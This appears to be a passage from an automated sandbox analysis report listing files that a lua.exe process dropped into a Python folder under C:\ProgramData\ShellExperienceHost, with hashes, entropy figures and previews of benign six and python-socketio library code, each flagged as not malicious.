LIABILITY, WHETHER.IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, OUT OF OR IN.CONNECTIO

C:\ProgramData\ShellExperienceHost\Lib\site-packages\six-1.15.0.dist-info\METADATA Download File
Process:	C:\ProgramData\lua\lua.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	1795
Entropy (8bit):	4.894791503851073
Encrypted:	false
SSDEEP:	48:DxtBcXHyh3JojeGu0Sci0LOkM00Q+d130Oy1X1Zq55c3qsyX/az+J8yg:Dny3kojeGOLd1h27d3WPay+P
MD5:	027F20990F4E3ADD00D10F582113804B
SHA1:	322FC6D4E814F61A5B68FE17CEF05673CAB763E1
SHA-256:	5BAAE5CA878C6475E1EACACFF4D5CDB26D2B8C07FFEBAD2B7BC59D1F94C14FC1
SHA-512:	4E7FE11354D5764ED1E32655F3B64A27B876242FDE8474146977BD5809FAD8E3520AACBCFAA4AEE99C903931DDC68C9E932F0339F6B58D737DC07527EF2D115A
Malicious:	false
Preview:	Metadata-Version: 2.1.Name: six.Version: 1.15.0.Summary: Python 2 and 3 compatibility utilities.Home-page: https://github.com/benjaminp/six.Author: Benjamin Peterson.Author-email: benjamin@python.org.License: MIT.Platform: UNKNOWN.Classifier: Development Status :: 5 - Production/Stable.Classifier: Programming Language :: Python :: 2.Classifier: Programming Language :: Python :: 3.Classifier: Intended Audience :: Developers.Classifier: License :: OSI Approved :: MIT License.Classifier: Topic :: Software Development :: Libraries.Classifier: Topic :: Utilities.Requires-Python: >=2.7, !=3.0., !=3.1., !=3.2.*.... image:: https://img.shields.io/pypi/v/six.svg. :target: https://pypi.org/project/six/. :alt: six on PyPI.... image:: https://travis-ci.org/benjaminp/six.svg?branch=master. :target: https://travis-ci.org/benjaminp/six. :alt: six on TravisCI.... image:: https://readthedocs.org/projects/six/badge/?version=latest. :target: https://six.readthedocs.io/. :alt: six's document

C:\ProgramData\ShellExperienceHost\Lib\site-packages\six-1.15.0.dist-info\RECORD Download File
Process:	C:\ProgramData\lua\lua.exe
File Type:	ASCII text, with CRLF line terminators
Category:	dropped
Size (bytes):	560
Entropy (8bit):	5.846918931919644
Encrypted:	false
SSDEEP:	12:eclQF0a/2zD7QFv/PLrDpTvQFL0oXNNQFkQFXuiXQFl2uQRc7qATZvk:Rgn/2zDCvL/pTW/d4ZDulEce3
MD5:	89131556B1E97370B1F5ED0FE26FED26
SHA1:	FD70200AB3F7A8E5942A31A837AFDD106493683C
SHA-256:	CEFDACB302FB6B63969DBD5A6E42E9C2882C8C76BBF3BC49E122B0630F7D9D33
SHA-512:	3256121B82F8C7D69655DA3772B6FAF39A60B95C282F87AED65BCCBA7A699257CA2084D6157B884202FB6B161F35016F253311E140EFFB1EA71B7B1A784FA1FC
Malicious:	false
Preview:	__pycache__/six.cpython-37.pyc,,..six-1.15.0.dist-info/INSTALLER,sha256=zuuue4knoyJ-UwPPXg8fezS7VCrXJQrAP7zeNuwvFQg,4..six-1.15.0.dist-info/LICENSE,sha256=i7hQxWWqOJ_cFvOkaWWtI9gq3_YPI5P8J2K2MYXo5sk,1066..six-1.15.0.dist-info/METADATA,sha256=W6rlyoeMZHXh6srP9NXNsm0rjAf_660re8WdH5TBT8E,1795..six-1.15.0.dist-info/RECORD,,..six-1.15.0.dist-info/WHEEL,sha256=kGT74LWyRUZrL4VgLh6_g12IeVl_9u9ZVhadrgXZUEY,110..six-1.15.0.dist-info/top_level.txt,sha256=_iVH_iYEtEXnD8nYGQYpYFUvkUW9sEO1GYbkeKSAais,4..six.py,sha256=U4Z_yv534W5CNyjY9i8V1OXY2SjAny8y2L5vDLhhThM,34159..

C:\ProgramData\ShellExperienceHost\Lib\site-packages\six-1.15.0.dist-info\WHEEL Download File
Process:	C:\ProgramData\lua\lua.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	110
Entropy (8bit):	4.816968543485036
Encrypted:	false
SSDEEP:	3:RtEeX7MWcSlVitcv6KjP+tPCCf7irO5S:RtBMwlViWZWBBwt
MD5:	D2A91F104288B412DBC67B54DE94E3AC
SHA1:	5132CB7D835D40A81D25A4A1D85667EB13E1A4D3
SHA-256:	9064FBE0B5B245466B2F85602E1EBF835D8879597FF6EF5956169DAE05D95046
SHA-512:	FACDEE18E59E77AEF972A5ACCB343A2EA9DB03F79D226C5827DC4BCDB47D3937FE347CB1F0A2FC48F035643F58737C875FDF1BD935586A98C6966BFA88C7484A
Malicious:	false
Preview:	Wheel-Version: 1.0.Generator: bdist_wheel (0.34.2).Root-Is-Purelib: true.Tag: py2-none-any.Tag: py3-none-any..

C:\ProgramData\ShellExperienceHost\Lib\site-packages\six-1.15.0.dist-info\top_level.txt Download File
Process:	C:\ProgramData\lua\lua.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	4
Entropy (8bit):	2.0
Encrypted:	false
SSDEEP:	3:Bn:Bn
MD5:	5D2DFBEA120F23E84E689374AA2BA84F
SHA1:	CFA698EF88230FBE6862CB300268A3A647ECC71D
SHA-256:	FE2547FE2604B445E70FC9D819062960552F9145BDB043B51986E478A4806A2B
SHA-512:	9B3E66A838BB6B913FA1CB2B84A4D80C6873F3BBE6AEB2D52E1B719A20BD173D6BB2F8BF3DCF134A7B145721620F0DD8A54F2DA27F30E0A812538BD935FC62A8
Malicious:	false
Preview:	six.

C:\ProgramData\ShellExperienceHost\Lib\site-packages\six.py Download File
Process:	C:\ProgramData\lua\lua.exe
File Type:	Python script, ASCII text executable
Category:	dropped
Size (bytes):	34159
Entropy (8bit):	4.775691189920932
Encrypted:	false
SSDEEP:	768:ESesVpKbIy/KiYG8Bll2bCx9m+E55VKzlM:teApKbIy/Kip8VO5yG
MD5:	6FC5317A32D2603139A0229C1876FFDF
SHA1:	0DFEC0D1D49F12B6B529D6ED1827D9BB00E30C34
SHA-256:	53867FCAFE77E16E423728D8F62F15D4E5D8D928C09F2F32D8BE6F0CB8614E13
SHA-512:	E70A32609C6EBA33077A569C9A24D11EA0F6ACF05C1DA468E8B4D13751F3D9C1AC0FF74CF6D2138DC5FB23534D2240572C1DF580982F7C8E78C1463BC9C5107A
Malicious:	false
Preview:	# Copyright (c) 2010-2020 Benjamin Peterson.#.# Permission is hereby granted, free of charge, to any person obtaining a copy.# of this software and associated documentation files (the "Software"), to deal.# in the Software without restriction, including without limitation the rights.# to use, copy, modify, merge, publish, distribute, sublicense, and/or sell.# copies of the Software, and to permit persons to whom the Software is.# furnished to do so, subject to the following conditions:.#.# The above copyright notice and this permission notice shall be included in all.# copies or substantial portions of the Software..#.# THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR.# IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY,.# FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE.# AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER.# LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISI

C:\ProgramData\ShellExperienceHost\Lib\site-packages\socketio\__init__.py Download File
Process:	C:\ProgramData\lua\lua.exe
File Type:	Python script, ASCII text executable
Category:	dropped
Size (bytes):	1529
Entropy (8bit):	4.71554679298688
Encrypted:	false
SSDEEP:	24:k4MiVCCoIivaYGubTIJ3IQUb7M3V95aSC+ta1zD3XYCEmfBb:k4MiVLfuTQNko5hS1zrotmf5
MD5:	7062B0FD6F1171E834CA0AA154D4F9A1
SHA1:	11CDB75326266224C24D42AB78546645BF73C10F
SHA-256:	E6EAB4AC7C52F6AEA693BD3D576F01CBAB8EDFCE226B92FF162BA3216B5A6018
SHA-512:	297FEA1C5DB787527591F399C99F2787CCC62157506B1648E5E6E44064E721075BDB18901DD7C1D61140A78530FCB54916732067EF160224B9EF8FA27C326960
Malicious:	false
Preview:	import sys..from .client import Client.from .base_manager import BaseManager.from .pubsub_manager import PubSubManager.from .kombu_manager import KombuManager.from .redis_manager import RedisManager.from .kafka_manager import KafkaManager.from .zmq_manager import ZmqManager.from .server import Server.from .namespace import Namespace, ClientNamespace.from .middleware import WSGIApp, Middleware.from .tornado import get_tornado_handler.if sys.version_info >= (3, 5): # pragma: no cover. from .asyncio_client import AsyncClient. from .asyncio_server import AsyncServer. from .asyncio_manager import AsyncManager. from .asyncio_namespace import AsyncNamespace, AsyncClientNamespace. from .asyncio_redis_manager import AsyncRedisManager. from .asyncio_aiopika_manager import AsyncAioPikaManager. from .asgi import ASGIApp.else: # pragma: no cover. AsyncClient = None. AsyncServer = None. AsyncManager = None. AsyncNamespace = None. AsyncRedisManager = None. Asy

C:\ProgramData\ShellExperienceHost\Lib\site-packages\socketio\asgi.py Download File
Process:	C:\ProgramData\lua\lua.exe
File Type:	Python script, ASCII text executable
Category:	dropped
Size (bytes):	1807
Entropy (8bit):	4.301245982771861
Encrypted:	false
SSDEEP:	48:x5e0oDdCBLaEGJxATQv8ulKiXVkK8sMOTknN:3e0gdCxaoT2DV6sMOTsN
MD5:	9036DA7BCAB71921F4A4E2ED8A3A3A9A
SHA1:	88CA581072F41B687D4F6772B9D4432CED01357C
SHA-256:	4E2DFCA54B7D4CC50365F73F97D0C8DD937D979D17A0E2B48234ACCF59BFFB62
SHA-512:	AEC07C2477EDAFD298A58B359047B686AA9D2A476D0E4275CA8AAA4C5709DF82956E94ABE4F23BA16574D7B568E1C14F27905E13502AAC689973E8555FEE2E8E
Malicious:	false
Preview:	import engineio...class ASGIApp(engineio.ASGIApp): # pragma: no cover. """ASGI application middleware for Socket.IO... This middleware dispatches traffic to an Socket.IO application. It can. also serve a list of static files to the client, or forward unrelated. HTTP traffic to another ASGI application... :param socketio_server: The Socket.IO server. Must be an instance of the. ``socketio.AsyncServer`` class.. :param static_files: A dictionary with static file mapping rules. See the. documentation for details on this argument.. :param other_asgi_app: A separate ASGI app that receives all other traffic.. :param socketio_path: The endpoint where the Socket.IO application should. be installed. The default value is appropriate for. most cases.. :param on_startup: function to be called on application startup; can be. coroutine. :param on_sh

C:\ProgramData\ShellExperienceHost\Lib\site-packages\socketio\asyncio_aiopika_manager.py Download File
Process:	C:\ProgramData\lua\lua.exe
File Type:	Python script, ASCII text executable
Category:	dropped
Size (bytes):	4199
Entropy (8bit):	4.213447658714627
Encrypted:	false
SSDEEP:	48:ENMHMxqGdk9cVl4KMW78d9NY8nNyKncwLAZw4I156CtZBg6JR825RL:yuM69SzId9NY8SXwUAU695
MD5:	6F9A696DFEB0BBE5856A388745E0AEE3
SHA1:	1D6E0E544E0EF5EB5786753B98997499E2E1D6EB
SHA-256:	65F7A8D32490D85B28C99FDAA9D0DC2C6492BCF8C5A9F41E2E68BFA199177CAC
SHA-512:	58AFE33B6F47819876854270851CDD6167E1B5D1C0E27E1F1C306D81DCCF198FD62CE9F7AF2B4CDF3B30DA192ADE536AD64616D81785BB9EC34276EA830A6911
Malicious:	false
Preview:	import asyncio.import pickle..from socketio.asyncio_pubsub_manager import AsyncPubSubManager..try:. import aio_pika.except ImportError:. aio_pika = None...class AsyncAioPikaManager(AsyncPubSubManager): # pragma: no cover. """Client manager that uses aio_pika for inter-process messaging under. asyncio... This class implements a client manager backend for event sharing across. multiple processes, using RabbitMQ.. To use a aio_pika backend, initialize the :class:`Server` instance as. follows::.. url = 'amqp://user:password@hostname:port//'. server = socketio.Server(client_manager=socketio.AsyncAioPikaManager(. url)).. :param url: The connection URL for the backend messaging queue. Example. connection URLs are ``'amqp://guest:guest@localhost:5672//'``. for RabbitMQ.. :param channel: The channel name on which the server sends and receives. notifications. Must be the same in all the serve

C:\ProgramData\ShellExperienceHost\Lib\site-packages\socketio\asyncio_client.py Download File
Process:	C:\ProgramData\lua\lua.exe
File Type:	Python script, ASCII text executable
Category:	dropped
Size (bytes):	22225
Entropy (8bit):	4.1743675840903665
Encrypted:	false
SSDEEP:	192:HXHHYhbSCp84rwdS5KJOwdS5SP84rwdS5VJ5PHswpaNhZ8jZmhcZ5p6:3HHEl0hDHPl0U5PHswp88j8M5p6
MD5:	52E767D433778BA48442518C009A9DF9
SHA1:	8EBEF4E3FD32347D3466B7C093FC19BB32D2AA64
SHA-256:	D3B566D655942E3CDEAD44265C9C966C109BA1870D7D6CC604FAD83BFE2BC2B0
SHA-512:	E6FEAF2E6D4BB45D4735946FB4C592D99A87A0ADF017085EFADFCA93F520432478057F7C93243E99D9E2CEB37E370B351791D0D04FBF1180323D9143063ABE01
Malicious:	false
Preview:	import asyncio.import logging.import random..import engineio.import six..from . import client.from . import exceptions.from . import packet..default_logger = logging.getLogger('socketio.client')...class AsyncClient(client.Client):. """A Socket.IO client for asyncio... This class implements a fully compliant Socket.IO web client with support. for websocket and long-polling transports... :param reconnection: ``True`` if the client should automatically attempt to. reconnect to the server after an interruption, or. ``False`` to not reconnect. The default is ``True``.. :param reconnection_attempts: How many reconnection attempts to issue. before giving up, or 0 for infinity attempts.. The default is 0.. :param reconnection_delay: How long to wait in seconds before the first. reconnection attempt. Each successive attempt.

C:\ProgramData\ShellExperienceHost\Lib\site-packages\socketio\asyncio_manager.py Download File
Process:	C:\ProgramData\lua\lua.exe
File Type:	Python script, ASCII text executable
Category:	dropped
Size (bytes):	2169
Entropy (8bit):	4.080955679974783
Encrypted:	false
SSDEEP:	48:YxiEVNUf8zCbep/C4/ghdpL8zX9rUPC9d:MiEVNUEC9Z85Asd
MD5:	09F9CCDCFCCF8E599C8EC64555B22217
SHA1:	BF02D018E83C3B5A82C0F01022311CD96FB62EED
SHA-256:	474446332F780BBDCA89DDB01DF17C2CCD7022E784A01A3669A3F4994FC29A7E
SHA-512:	B486E9A667A61DE7C5692B489C6BCD6D1CE5348C3D6B2438E8490BD0FEB6B3FA33C4FA6B9D1B81504C780B5C0E76C2865D9E791F9D25785CE249B6094BBDB0D3
Malicious:	false
Preview:	import asyncio..from .base_manager import BaseManager...class AsyncManager(BaseManager):. """Manage a client list for an asyncio server.""". async def can_disconnect(self, sid, namespace):. return self.is_connected(sid, namespace).. async def emit(self, event, data, namespace, room=None, skip_sid=None,. callback=None, **kwargs):. """Emit a message to a single client, a room, or all the clients. connected to the namespace... Note: this method is a coroutine.. """. if namespace not in self.rooms or room not in self.rooms[namespace]:. return. tasks = []. if not isinstance(skip_sid, list):. skip_sid = [skip_sid]. for sid in self.get_participants(namespace, room):. if sid not in skip_sid:. if callback is not None:. id = self._generate_ack_id(sid, namespace, callback). else:. id = None. ta

C:\ProgramData\ShellExperienceHost\Lib\site-packages\socketio\asyncio_namespace.py Download File
Process:	C:\ProgramData\lua\lua.exe
File Type:	Python script, ASCII text executable
Category:	dropped
Size (bytes):	8240
Entropy (8bit):	4.151906142325659
Encrypted:	false
SSDEEP:	192:fvVmMjTFkvkmDiRCmMeWOzMvVmMjTFkt9DmRz3:fnjmDSUnjasj
MD5:	0538DDA7F44E2788A79829DC451B003B
SHA1:	1D9EFFE37D71354DCA1D017B86AA4178206BC9FA
SHA-256:	BECBFC00450CCBF706282BBD51F17B032F48A250E11D90C2524070A000731C4D
SHA-512:	F287C106907C3353F7C9F2C1D1E744D9AE75D6F46AF34ABB175FDEB6168E25FB514E127907AAD0660C0BCFCC855D66ADEF371A3A147C5CF1694F049093FDEEE6
Malicious:	false
Preview:	import asyncio..from socketio import namespace...class AsyncNamespace(namespace.Namespace):. """Base class for asyncio server-side class-based namespaces... A class-based namespace is a class that contains all the event handlers. for a Socket.IO namespace. The event handlers are methods of the class. with the prefix ``on_``, such as ``on_connect``, ``on_disconnect``,. ``on_message``, ``on_json``, and so on. These can be regular functions or. coroutines... :param namespace: The Socket.IO namespace to be used with all the event. handlers defined in this class. If this argument is. omitted, the default namespace is used.. """. def is_asyncio_based(self):. return True.. async def trigger_event(self, event, *args):. """Dispatch an event to the proper handler method... In the most common usage, this method is not overloaded by subclasses,. as it performs the routing of events to methods. Howev

C:\ProgramData\ShellExperienceHost\Lib\site-packages\socketio\asyncio_pubsub_manager.py Download File
Process:	C:\ProgramData\lua\lua.exe
File Type:	Python script, ASCII text executable
Category:	dropped
Size (bytes):	7526
Entropy (8bit):	4.129559055329818
Encrypted:	false
SSDEEP:	96:sKCSUqddMsfURPW4aGxmMq+I/72nxvppnZx8BtucAxUk89r9X:sKCS/rcPW4wRWLZx8BIZm
MD5:	63128FBA916E5F9700C11CFA572039C2
SHA1:	A34744984BCEFEE8BD3606EB4F38D60385E7AAB9
SHA-256:	23B1B5FC4A12DDE31D0B47C4B6576D84BE552B1D0669E20CDF8FDC95CADCDB38
SHA-512:	CF504417957B57FCCDF28B45E76B4DDC5054154AC109FAF928F7BBEADA55B9B0C66D7D3AE09A61FBF5B36AE1392CD87A6472468AEFD491DC32BB37E168EA9939
Malicious:	false
Preview:	from functools import partial.import uuid..import json.import pickle.import six..from .asyncio_manager import AsyncManager...class AsyncPubSubManager(AsyncManager):. """Manage a client list attached to a pub/sub backend under asyncio... This is a base class that enables multiple servers to share the list of. clients, with the servers communicating events through a pub/sub backend.. The use of a pub/sub backend also allows any client connected to the. backend to emit events addressed to Socket.IO clients... The actual backends must be implemented by subclasses, this class only. provides a pub/sub generic framework for asyncio applications... :param channel: The channel name on which the server sends and receives. notifications.. """. name = 'asyncpubsub'.. def __init__(self, channel='socketio', write_only=False, logger=None):. super().__init__(). self.channel = channel. self.write_only = write_only. self.hos

C:\ProgramData\ShellExperienceHost\Lib\site-packages\socketio\asyncio_redis_manager.py Download File
Process:	C:\ProgramData\lua\lua.exe
File Type:	Python script, ASCII text executable
Category:	dropped
Size (bytes):	4090
Entropy (8bit):	4.088688732065454
Encrypted:	false
SSDEEP:	48:HD4id42A6ZVcsQsGaENl1BahMOybyNNKpfxcwLuHEm4wWcWN3Em6fPH:8z2A6ZVcsQX/1BE1ybo5HEfdN3En/
MD5:	13CB96A24B0AC904C161C972B91D327F
SHA1:	36858853C3686AF1C93BBADAEE24629CC5729B01
SHA-256:	7E4D75F2A078AEFC74FACD0BB8DF36E51926D64938D81DBFD124BF315B2B6BBE
SHA-512:	4D2BAD724400DA58BBDD607D4CC17341710A08020D0DEC3A113BEDA2CD3633C24F415BAB5041F9B7DE6C24F20AB2EFA77C7E3F8D3E2571004D706621357F97D5
Malicious:	false
Preview:	import asyncio.import pickle.from urllib.parse import urlparse..try:. import aioredis.except ImportError:. aioredis = None..from .asyncio_pubsub_manager import AsyncPubSubManager...def _parse_redis_url(url):. p = urlparse(url). if p.scheme not in {'redis', 'rediss'}:. raise ValueError('Invalid redis url'). ssl = p.scheme == 'rediss'. host = p.hostname or 'localhost'. port = p.port or 6379. password = p.password. if p.path:. db = int(p.path[1:]). else:. db = 0. return host, port, password, db, ssl...class AsyncRedisManager(AsyncPubSubManager): # pragma: no cover. """Redis based client manager for asyncio servers... This class implements a Redis backend for event sharing across multiple. processes. Only kept here as one more example of how to build a custom. backend, since the kombu backend is perfectly adequate to support a Redis. message queue... To use a Redis backend, initialize the :class:`Server` instance as.

C:\ProgramData\ShellExperienceHost\Lib\site-packages\socketio\asyncio_server.py Download File
Process:	C:\ProgramData\lua\lua.exe
File Type:	Python script, ASCII text executable
Category:	dropped
Size (bytes):	27389
Entropy (8bit):	4.128047751880916
Encrypted:	false
SSDEEP:	384:vIMO8xml2ndMnOAl1rd+PHswtl+Ldx07wsHGw:vIMO8El2dMTl1ZK+Ldx07wsHGw
MD5:	72D1096EBB60663D1F828F04F905EF34
SHA1:	14F77117BC0B4EBC8537D551F81F9250A2EAAFDB
SHA-256:	627441A3FEE9E25E933AABAE386834DA38EFC838753C7F4F0078B622E30300FF
SHA-512:	0B682B7B233461A1A40629D587E159230A6D8441451844700FC85F62E345761C15016C0B068B13D2CFDD708AE8B7A6716305C7344B17D0182704D8D4C238F041
Malicious:	false
Preview:	import asyncio..import engineio.import six..from . import asyncio_manager.from . import exceptions.from . import packet.from . import server...class AsyncServer(server.Server):. """A Socket.IO server for asyncio... This class implements a fully compliant Socket.IO web server with support. for websocket and long-polling transports, compatible with the asyncio. framework on Python 3.5 or newer... :param client_manager: The client manager instance that will manage the. client list. When this is omitted, the client list. is stored in an in-memory structure, so the use of. multiple connected servers is not possible.. :param logger: To enable logging set to ``True`` or pass a logger object to. use. To disable logging set to ``False``. Note that fatal. errors are logged even when ``logger`` is ``False``.. :param json: An alternative json module to use for enco

C:\ProgramData\ShellExperienceHost\Lib\site-packages\socketio\base_manager.py Download File
Process:	C:\ProgramData\lua\lua.exe
File Type:	Python script, ASCII text executable
Category:	dropped
Size (bytes):	6588
Entropy (8bit):	4.241074523709682
Encrypted:	false
SSDEEP:	96:1DILfSt9UXxMi+IMOhPaEC5P+ISf8Bw+jhZ7IYhvMpoU785As0jcQ+LGN:pbHRcC8yPUem8Ejc6N
MD5:	2FBF62F65F4B3D53E86851BB626987C9
SHA1:	A38BF5EA85BC1C40349F9720BA2CF8E09C5DF8E6
SHA-256:	E0718AD12FB7038BBA6D48CE96B603777D9037066604CE674852688FC2ADB8B8
SHA-512:	DFF19D309A819924D2826CE9CB7E82BF0A87C4666452B0E2D585F73657660368AA3DCB8BF57A9A450D712DBBD2B04C5F740D3CC97294946461D9B473182736EB
Malicious:	false
Preview:	import itertools.import logging..import six..default_logger = logging.getLogger('socketio')...class BaseManager(object):. """Manage client connections... This class keeps track of all the clients and the rooms they are in, to. support the broadcasting of messages. The data used by this class is. stored in a memory structure, making it appropriate only for single process. services. More sophisticated storage backends can be implemented by. subclasses.. """. def __init__(self):. self.logger = None. self.server = None. self.rooms = {}. self.callbacks = {}. self.pending_disconnect = {}.. def set_server(self, server):. self.server = server.. def initialize(self):. """Invoked before the first request is received. Subclasses can add. their initialization code here.. """. pass.. def get_namespaces(self):. """Return an iterable with the active namespace names.""". return six.iter

C:\ProgramData\ShellExperienceHost\Lib\site-packages\socketio\client.py Download File
Process:	C:\ProgramData\lua\lua.exe
File Type:	Python script, ASCII text executable
Category:	dropped
Size (bytes):	27867
Entropy (8bit):	4.210378657828437
Encrypted:	false
SSDEEP:	384:OuHHkFlm4/Usl0q/NXl0LzPHsw3kcB8r6R5nw:OuHIlm4/Usl0q/tl0L6c5R5nw
MD5:	30C01BC44B4FE70271F3A6A003104FF8
SHA1:	B1BFC09BF75EE937800AD151AE5C935FDFB448B5
SHA-256:	DA08158CFAB449509466A6C60DDED7F9C1E5C0B5EBAC14D3E62565FDDB00B74D
SHA-512:	E4B6E9AED1A8E1331510075EFF0785AE03EC0FD5A98D08C69FEDFCEF385D8D20FB5A592786BFB07AC8E1FF9B5828FA55C6D2E27AD3F519727AE1EB951ECE9B11
Malicious:	false
Preview:	import itertools.import logging.import random.import signal.import threading..import engineio.import six..from . import exceptions.from . import namespace.from . import packet..default_logger = logging.getLogger('socketio.client').reconnecting_clients = []...def signal_handler(sig, frame): # pragma: no cover. """SIGINT handler... Notify any clients that are in a reconnect loop to abort. Other. disconnection tasks are handled at the engine.io level.. """. for client in reconnecting_clients[:]:. client._reconnect_abort.set(). return original_signal_handler(sig, frame)...original_signal_handler = None...class Client(object):. """A Socket.IO client... This class implements a fully compliant Socket.IO web client with support. for websocket and long-polling transports... :param reconnection: ``True`` if the client should automatically attempt to. reconnect to the server after an interruption, or. ``False``

C:\ProgramData\ShellExperienceHost\Lib\site-packages\socketio\exceptions.py Download File
Process:	C:\ProgramData\lua\lua.exe
File Type:	Python script, ASCII text executable
Category:	dropped
Size (bytes):	729
Entropy (8bit):	4.438768491882087
Encrypted:	false
SSDEEP:	12:9cPRU3mx8X2N5OlL9N67XXQL669X51ANtcPFHZ6EWV9vKih:YPx8mi9lLFXDA0PhZTWVxKih
MD5:	A3DB57C742C05EA2617EFC03849E46BD
SHA1:	B49DD265E847F7A70BC92F7F32A8B924D3FB9554
SHA-256:	ECBE25656FCCA2842A7DA85D5C4F27C49106DA62A33BAB3C471BC9B889D845F1
SHA-512:	E3BB466FF1D60C2FAC02507C309FCDF3A428E4993E1639B890D4376138619BD58FD388D181731EEA532E6984D4AF34A6363835EE39C3540BE775ACF075180183
Malicious:	false
Preview:	class SocketIOError(Exception):. pass...class ConnectionError(SocketIOError):. pass...class ConnectionRefusedError(ConnectionError):. """Connection refused exception... This exception can be raised from a connect handler when the connection. is not accepted. The positional arguments provided with the exception are. returned with the error packet to the client.. """. def __init__(self, *args):. if len(args) == 0:. self.error_args = None. elif len(args) == 1 and not isinstance(args[0], list):. self.error_args = args[0]. else:. self.error_args = args...class TimeoutError(SocketIOError):. pass...class BadNamespaceError(SocketIOError):. pass.

C:\ProgramData\ShellExperienceHost\Lib\site-packages\socketio\kafka_manager.py Download File
Process:	C:\ProgramData\lua\lua.exe
File Type:	Python script, ASCII text executable
Category:	dropped
Size (bytes):	2234
Entropy (8bit):	4.378853658027296
Encrypted:	false
SSDEEP:	48:6bgtG2Rq1zMOwpvINrmKVPcwLMsIwABwBxPEW:5U1z1wpvEG/VRcEW
MD5:	CE718EC475CE4950AE905ED00F7F8F41
SHA1:	7464F1B4ED753AB186EB4D23B13F80B26E5C39B6
SHA-256:	CF27135FB3F9D9E319F7BA1F7FEE166BF2F1ED1A11E888E6876A44EF474BE80A
SHA-512:	5D410701684703E5DF97CECE5BCC9EA2D4AEDE946722C2640888DB733A4433860B974E49274980488BEC5E77BB9A637B662500F6E0745AAB86B7F07F7443DB79
Malicious:	false
Preview:	import logging.import pickle..try:. import kafka.except ImportError:. kafka = None..from .pubsub_manager import PubSubManager..logger = logging.getLogger('socketio')...class KafkaManager(PubSubManager): # pragma: no cover. """Kafka based client manager... This class implements a Kafka backend for event sharing across multiple. processes... To use a Kafka backend, initialize the :class:`Server` instance as. follows::.. url = 'kafka://hostname:port'. server = socketio.Server(client_manager=socketio.KafkaManager(url)).. :param url: The connection URL for the Kafka server. For a default Kafka. store running on the same host, use ``kafka://``.. :param channel: The channel name (topic) on which the server sends and. receives notifications. Must be the same in all the. servers.. :param write_only: If set ot ``True``, only initialize to emit events. The. default of ``False``

C:\ProgramData\ShellExperienceHost\Lib\site-packages\socketio\kombu_manager.py Download File
Process:	C:\ProgramData\lua\lua.exe
File Type:	Python script, ASCII text executable
Category:	dropped
Size (bytes):	5298
Entropy (8bit):	4.39764620135034
Encrypted:	false
SSDEEP:	96:dcdCNu9n1PZaw1FgFhFGFbyd97t3IoEeNbSnXs/VhPu:W1Z1RZHgr3IoEeNbSnf
MD5:	CB111C7A03EF5806E2646B71F49AB4F3
SHA1:	20FD477CCECCCBE6DC31FAF479F04259DF156210
SHA-256:	35E82B4B749287BF0F71BF9A350CE668AF7466DE04A566C541B78906A58851E3
SHA-512:	31322F15C278EADE37F3F410D4C1A45EBDA822269C3497B6BF410CCD3AADE8AD876EA13DC4E6B34C8C7047A002B2DE486754E4384605F5D51A47C64C7295C3C6
Malicious:	false
Preview:	import pickle.import uuid..try:. import kombu.except ImportError:. kombu = None..from .pubsub_manager import PubSubManager...class KombuManager(PubSubManager): # pragma: no cover. """Client manager that uses kombu for inter-process messaging... This class implements a client manager backend for event sharing across. multiple processes, using RabbitMQ, Redis or any other messaging mechanism. supported by `kombu <http://kombu.readthedocs.org/en/latest/>`_... To use a kombu backend, initialize the :class:`Server` instance as. follows::.. url = 'amqp://user:password@hostname:port//'. server = socketio.Server(client_manager=socketio.KombuManager(url)).. :param url: The connection URL for the backend messaging queue. Example. connection URLs are ``'amqp://guest:guest@localhost:5672//'``. and ``'redis://localhost:6379/'`` for RabbitMQ and Redis. respectively. Consult the `kombu documentation.

C:\ProgramData\ShellExperienceHost\Lib\site-packages\socketio\middleware.py Download File
Process:	C:\ProgramData\lua\lua.exe
File Type:	Python script, ASCII text executable
Category:	dropped
Size (bytes):	1712
Entropy (8bit):	4.305523318129909
Encrypted:	false
SSDEEP:	24:x0T0/phWIBDuWBWLrnou/QWrGPUQ823XcNSv86hLKpWA9nRY4uJyPsx9AmtmYt:xW0nDfALs7YGQJQv86spWH4uJyqNht
MD5:	A54CE10DEC3893970F9438A171507FC2
SHA1:	9A91CA679C96FA45D0B7AB5F8739B850024AB5C6
SHA-256:	D4F3170EA9097466531D0693477A3DB675920AC529D770498990E419378CE3AF
SHA-512:	2CECBE3CD27F4D4CB21E044A584510220455C64A65CC09394F6578851D88AB78928FCBE72A8D276B551003663A17CC3836CE3B7268C49E172A6710A02CB73816
Malicious:	false
Preview:	import engineio...class WSGIApp(engineio.WSGIApp):. """WSGI middleware for Socket.IO... This middleware dispatches traffic to a Socket.IO application. It can also. serve a list of static files to the client, or forward unrelated HTTP. traffic to another WSGI application... :param socketio_app: The Socket.IO server. Must be an instance of the. ``socketio.Server`` class.. :param wsgi_app: The WSGI app that receives all other traffic.. :param static_files: A dictionary with static file mapping rules. See the. documentation for details on this argument.. :param socketio_path: The endpoint where the Socket.IO application should. be installed. The default value is appropriate for. most cases... Example usage::.. import socketio. import eventlet. from . import wsgi_app.. sio = socketio.Server(). app = socketio.WSGIApp(sio, wsgi_app).

C:\ProgramData\ShellExperienceHost\Lib\site-packages\socketio\namespace.py Download File
Process:	C:\ProgramData\lua\lua.exe
File Type:	Python script, ASCII text executable
Category:	dropped
Size (bytes):	7929
Entropy (8bit):	4.219885831320909
Encrypted:	false
SSDEEP:	96:9FxmMjLr5ecEkbEV65FmWSXM+TSP57s+gffEQDwG1YMLxRDQxsmxtqfMvgYEV65f:dmMjLFJaUNr+TiW+5bR6UdnTiWP
MD5:	041B31956ADB6EA4E6D243C981E5075D
SHA1:	27C6508B0F3828374993DC0ABE15755F8173FFC2
SHA-256:	C4282A084A07CE8D69AF796D965BFDE97C3DB5C73DF3911D0C76CF2297C2253F
